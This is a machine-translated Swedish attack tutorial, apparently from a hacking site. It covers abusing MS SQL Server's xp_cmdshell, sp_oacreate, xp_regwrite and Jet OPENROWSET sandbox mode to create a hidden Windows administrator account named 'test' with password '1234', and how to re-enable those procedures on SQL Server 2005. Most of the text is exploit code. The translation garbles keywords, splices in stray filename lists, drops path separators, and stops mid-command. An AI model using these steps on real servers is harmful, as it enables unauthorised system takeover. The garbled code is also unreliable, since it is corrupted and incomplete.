SA lösenord för att komma, ofta beroende på att serveradministratören eller "tidigare" kommer net.exe och net1.exe är begränsade att använda administratörskontot kan inte läggas till. Vi vet att VBS i Active Directory (ADSI) del av en winnt objekt, används för att hantera lokala resurser, använda den och kan därför inte förlita sig på CMD kommando kan lägga till en administratör, de specifika kod enligt följande:
som wsnetwork = CreateObject ("WSCRIPT.NETWORK")
os = "WinNT ://"& wsnetwork.ComputerName
Set ob = getObject (OS) "få ADSI gränssnitt, bindande
Set oe = getObject (os & "/ administratörer, grupp") egendom, admin grupp
Set OD = ob.Create ("Användare", "test") 'Skapa ett användarkonto
od.SetPassword "1234" "Set Password
od.SetInfo "Spara
Sats med = getObject (os & "/ test", användare) "får användaren
oe.add os & "/ test"
Koden ovan för att spara 1.vbs, sedan köra kommandot för "cscript 1.vbs", så kommer systemet att lägga till ett system som kallas provet är lösenordet 1234 användare. Specifik tillämpning av koden i Query Analyzer enligt följande:
förklara @ o int, @ f int, @ t int, @ ret int
exec sp_oacreate "scripting.filesystemobject" @ o ut
exec sp_oamethod @ o "createtextfile" @ f ut "c: 1.vbs", en
exec @ ret = sp_oamethod @ f "writeline ', NULL," som wsnetwork = CreateObject
("WSCRIPT.NETWORK") '
exec @ ret = sp_oamethod @ f "writeline ', NULL,' os =" WinNT ://"& wsnetwork.
Datornamn "
exec @ ret = sp_oamethod @ f "writeline ', NULL,' Set ob = getObject (OS)
exec @ ret = sp_oamethod @ f "writeline ', NULL,' Set oe = getObject
(OS & "/ administratörer, grupp") '
exec @ ret = sp_oamethod @ f "writeline ', NULL,' Set OD = ob.Create
("Användare", "test") "
exec @ ret = sp_oamethod @ f "writeline ', NULL,' od.SetPassword" 1234 ""
exec @ ret = sp_oamethod @ f "writeline ', NULL,' od.SetInfo"
exec @ ret = sp_oamethod @ f "writeline ', NULL,' Set med = getObject
(OS & "/ test", användare)
exec @ ret = sp_oamethod @ f "writeline ', NULL,' oe.add os &" / test ""
Genom ovanstående uttalande, sedan köra följande kodrad, måste denna rad skilja genomförande, inte med genomförandet av ovan nämnda tillsammans, annars den vilja snabb "c: 1.vbs drivs av ett annat program" kan inte med framgång lägga till användaren :
exec master .. xp_cmdshell "cscript c: 1.vbs"
Om systemet användaren inte har lagts till, kan det bero på att systemet användarens 1234 är för enkelt, inte uppfyller de komplexa serverlösenord politik, inriktas mer komplicerade inställningar och prova. Du kan använda echo för att skriva 1.vbs kod, koden Formatet är:
exec master .. xp_cmdshell "echo som wsnetwork = CreateObject (" WSCRIPT.NETWORK ")
1.vbs '
Men vet inte varför alla med "&"-tecken i kommandorader inte kan skriva 1.vbs, intresserade av vad en vän kan försöka lösa.
Använda jet sand bordsmodell kan lösas XP_cmdshell andra lagrade procedurer och tillhörande DLL irritation. Av säkerhetsskäl inte standard systemet inte att öppna sandbox-läge, vilket kräver xp_regwrite öppna sandbox-läge:
Exec master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE", "SOFTWAREMicrosoftJet4.0
Motorer "," SandBoxMode "," REG_DWORD ", en
Kör sedan kommandot sanden bordet, lägger systemet en användare vid namn test, lösenordet för 1234 användare:
Välj Säkerhetskopiera bin konf config uppgifter eshow_sitemap.html generate.sh logga maint sitemap.html svn tmp från OPENROWSET ("Microsoft.Jet.OLEDB.4.0", "databas = c: windows
system32iasias.mdb ',' Välj skal ("cmd.exe / c nät förbrukaren prov 1234 / add") ")
Välj Säkerhetskopiera bin konf config uppgifter eshow_sitemap.html generate.sh logga maint sitemap.html svn tmp från OPENROWSET ("Microsoft.Jet.OLEDB.4.0", "databas = c: windows
system32iasias.mdb ',' Välj skal ("cmd.exe / c netto localgroup
administratörer test / add ")")
Olika operativsystem, är sökvägen inte samma behov av att göra ändringar i situationen:
NT/2K: c: winntsystem32
XP/2003: c: windowssystem32
En annan Microsoft SQL Server2005 i standard är antalet sparade avslutad och kräver ett kommando för att öppna:
Öppet XP_cmdshell:
EXEC sp_configure "visa avancerade alternativ", 1, konfigurera, EXEC sp_configure
"Xp_cmdshell", 1, konfigurera,
Öppna "OPENROWSET":
exec sp_configure "visa avancerade alternativ", 1, konfigurera, exec sp_configure
"Ad Hoc distribuerade frågor", 1, konfigurera,
Öppna "sp_oacreate":
exec sp_configure "visa avancerade alternativ", 1, konfigurera, exec sp